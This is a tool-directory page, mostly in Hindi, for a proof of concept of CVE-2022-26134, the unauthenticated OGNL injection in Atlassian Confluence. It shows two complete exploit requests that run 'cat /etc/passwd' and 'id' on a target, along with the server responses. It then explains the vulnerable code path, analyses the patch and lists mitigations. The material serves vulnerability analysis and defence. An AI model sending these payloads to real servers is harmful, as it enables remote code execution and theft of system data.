Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-26134 — [CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection | Kitploit
उपकरण/GitHubGitHub/murataydemir/cve-2022-26134
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubmurataydemir/cve-2022-26134

CVE-2022-26134

[CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection

रिपॉजिटरी देखें
134 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

[CVE-2022-26134] Confluence प्री-ऑथ ऑब्जेक्ट-ग्राफ नेविगेशन लैंग्वेज (OGNL) इंजेक्शन


Confluence, Atlassian द्वारा विकसित एक वेब-आधारित वर्कस्पेस सहयोग उत्पाद है। इसे ऑन-प्रेम या Atlassian Cloud के भाग के रूप में तैनात किया जा सकता है। इसमें 3 मुख्य विशेषताएँ शामिल हैं: पेज, स्पेस और पेज ट्री।

  • पेज: आपकी सामग्री पेजों में रहती है – ये लिविंग दस्तावेज़ हैं जिन्हें आप अपनी Confluence साइट पर बनाते हैं। आप लगभग किसी भी चीज़ के लिए पेज बना सकते हैं, प्रोजेक्ट प्लान से लेकर मीटिंग नोट्स, ट्रबलशूटिंग गाइड, पॉलिसी और बहुत कुछ।
  • स्पेस: पेज स्पेस में संग्रहीत होते हैं – ये वर्कस्पेस हैं जहाँ आप काम पर सहयोग कर सकते हैं और अपनी सभी सामग्री को व्यवस्थित रख सकते हैं।
  • पेज ट्री: पदानुक्रमित पेज ट्री के साथ स्पेस सामग्री को व्यवस्थित करें, जिससे काम ढूँढना त्वरित और आसान हो जाता है। पेजों को संबंधित स्पेस और पेजों के अंतर्गत नेस्ट करके उन्हें लगभग किसी भी तरह से व्यवस्थित करें।

2022-06-02 को 20:00 UTC पर Atlassian ने एक सुरक्षा सलाह जारी की, जो Confluence Server और Confluence Data Center उत्पादों को प्रभावित करने वाली रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता से संबंधित है। CVE-2022-26134 भेद्यता के बारे में विस्तृत जानकारी आपको नीचे मिलेगी।

सारांश: CVE-2022-26134 - Confluence Server और Data Center में गंभीर स्तर की बिना प्रमाणीकरण वाली रिमोट कोड एक्ज़ीक्यूशन भेद्यता
सलाह जारी होने की तिथि: 02 Jun 2022
प्रभावित उत्पाद: Confluence Server और Confluence Data Center
प्रभावित संस्करण: Confluence Server और Data Center के सभी समर्थित संस्करण प्रभावित हैं। 1.3.0 के बाद के Confluence Server और Data Center संस्करण प्रभावित हैं।
सुधारे गए संस्करण: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 और 7.18.1
CVE ID: CVE-2022-26134 Confluence प्री-ऑथ ऑब्जेक्ट-ग्राफ नेविगेशन लैंग्वेज (OGNL) इंजेक्शन

प्रूफ ऑफ कॉन्सेप्ट: नमूना अनुरोध 1

root@kitploit:~
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/etc/passwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

प्रतिक्रिया 1

root@kitploit:~
HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654688652451
Set-Cookie: JSESSIONID=47E8CE261CF7355A5625FEF65B4BD7DC; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash 
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat+%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:44:12 GMT
Connection: close

PoC-1

प्रूफ ऑफ कॉन्सेप्ट: नमूना अनुरोध 2

root@kitploit:~
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

प्रतिक्रिया 2

root@kitploit:~
HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654687799603
Set-Cookie: JSESSIONID=37BEF3F90A06CB415FAC1070D6D4570A; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence) 
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:29:59 GMT
Connection: close

PoC-2
यह भेद्यता कैसे काम करती है?
URL में /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ को Confluence द्वारा नेमस्पेस के रूप में पार्स किया जाता है। फिर कोड इस नेमस्पेस पर translateVariables (Confluence में टेक्स्ट-पार्सिंग उपयोगिताओं का हिस्सा) का उपयोग करता है। चूँकि translateVariables OGNL का उपयोग करता है, इसलिए हमले को पार्स और मूल्यांकित किया जाएगा।

OgnlValueStack का findValue(str) महत्वपूर्ण है, क्योंकि यह OGNL एक्सप्रेशन के मूल्यांकन का प्रारंभिक बिंदु है। जैसा कि आप नीचे दिए गए स्निपेट में देख सकते हैं, जब इस भेद्यता का शोषण किया जाता है तो TextParseUtil.class OgnlValueStack.findValue को आमंत्रित करता है।

root@kitploit:~
public class TextParseUtil {
    public static String translateVariables(String expression, OgnlValueStack stack) {
        StringBuilder sb = new StringBuilder();
        Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
        Matcher m = p.matcher(expression);
        int previous = 0;
        while (m.find()) {
            String str1, g = m.group(1);
            int start = m.start();
            try {
                Object o = stack.findValue(g);
                str1 = (o == null) ? "" : o.toString();
            } catch (Exception ignored) {
                str1 = "";
            } 
            sb.append(expression.substring(previous, start)).append(str1);
            previous = m.end();
        } 
        if (previous < expression.length())
            sb.append(expression.substring(previous)); 
        return sb.toString();
    }
}

ActionChainResult.class प्रदान किए गए एक्सप्रेशन के रूप में this.namespace का उपयोग करके TextParseUtil.translateVariables को कॉल करता है:

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

जहाँ namespace रिक्वेस्ट URI स्ट्रिंग से com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath में बनाया जाता है:

root@kitploit:~
public static String getNamespaceFromServletPath(String servletPath) {
    servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
    return servletPath;
}

परिणाम यह है कि हमलावर द्वारा प्रदान किया गया URI एक नेमस्पेस में अनुवादित हो जाएगा, जो फिर OGNL एक्सप्रेशन मूल्यांकन तक पहुँच जाता है। उच्च स्तर पर, यह CVE-2018-11776, Apache Struts2 नेमस्पेस OGNL इंजेक्शन भेद्यता के समान है।

पैच विश्लेषण
Atlassian ने ग्राहकों को निर्देश दिया कि वे xwork-1.0.3.6.jar को नए जारी किए गए xwork-1.0.3-atlassian-10.jar से बदल दें। xwork जार में ActionChainResult.class और TextParseUtil.class शामिल हैं, जिन्हें हमने OGNL एक्सप्रेशन मूल्यांकन का मार्ग बताया था।

पैच इस समस्या को ठीक करने के लिए कई छोटे बदलाव करता है। उदाहरण के लिए, namespace को अब ActionChainResult.execute से TextParseUtil.translateVariables तक नहीं भेजा जाता है:

पहले

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

बाद में

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    String finalNamespace = this.namespace;
    String finalActionName = this.actionName;

PoC-3

git diff कमांड आउटपुट की बदौलत, आप नीचे दिए गए स्क्रीनशॉट में ActionChainResult.class पर पैच से पहले और बाद के अंतर देख सकते हैं। (Datalog ब्लॉगपोस्ट से कॉपी किया गया)

PoC-5

Atlassian ने xworks jar में SafeExpressionUtil.class भी जोड़ा। SafeExpressionUtil.class असुरक्षित एक्सप्रेशनों की फ़िल्टरिंग प्रदान करता है, और इसे OgnlValueStack.class में डाला गया है ताकि findValue आमंत्रित होने पर एक्सप्रेशनों की जाँच की जा सके। उदाहरण के लिए:

root@kitploit:~
public Object findValue(String expr) {
    try {
      if (expr == null)
        return null; 
      if (!this.safeExpressionUtil.isSafeExpression(expr))
        return null; 
      if (this.overrides != null && this.overrides.containsKey(expr))

PoC-4

संगठन इस भेद्यता से बचाव के लिए क्या कर सकते हैं?
अब जब पैच उपलब्ध है, कृपया Confluence के सुधारे गए संस्करण में अपग्रेड करें। यदि इस समय पैचिंग संभव नहीं है, तो Atlassian ने ग्राहकों के लिए उनके Confluence संस्करणों के आधार पर अस्थायी वर्कअराउंड निर्देश प्रदान किए हैं। दोनों के लिए शमन लागू करते समय Confluence को अस्थायी रूप से बंद करना आवश्यक है। अधिक जानकारी के लिए, कृपया Atlassian सलाह के विशिष्ट दिशानिर्देशों को देखें:

  • Confluence 7.15.0 - 7.18.0 के लिए
  • Confluence 7.0.0 - Confluence 7.14.2 के लिए

इस भेद्यता के निवारण के बारे में अधिक जानकारी के लिए, कृपया निम्नलिखित संसाधनों पर जाएँ:

  • मूल ब्लॉगपोस्ट: Volexity: Atlassian Confluence का ज़ीरो-डे शोषण
  • तकनीकी विश्लेषणों के संदर्भ: AttackerDB: CVE-2022-26134 | Datadog: Confluence RCE भेद्यता (CVE-2022-26134): अवलोकन, पहचान और निवारण
  • CVE-2022-26134: Atlassian Confluence Server और Data Center में ज़ीरो-डे भेद्यता जिसका वास्तविक दुनिया में शोषण हुआ
  • Confluence CVE-2022-26134 का सक्रिय शोषण
  • Confluence सुरक्षा सलाह 2022-06-02
टूल डाउनलोड करें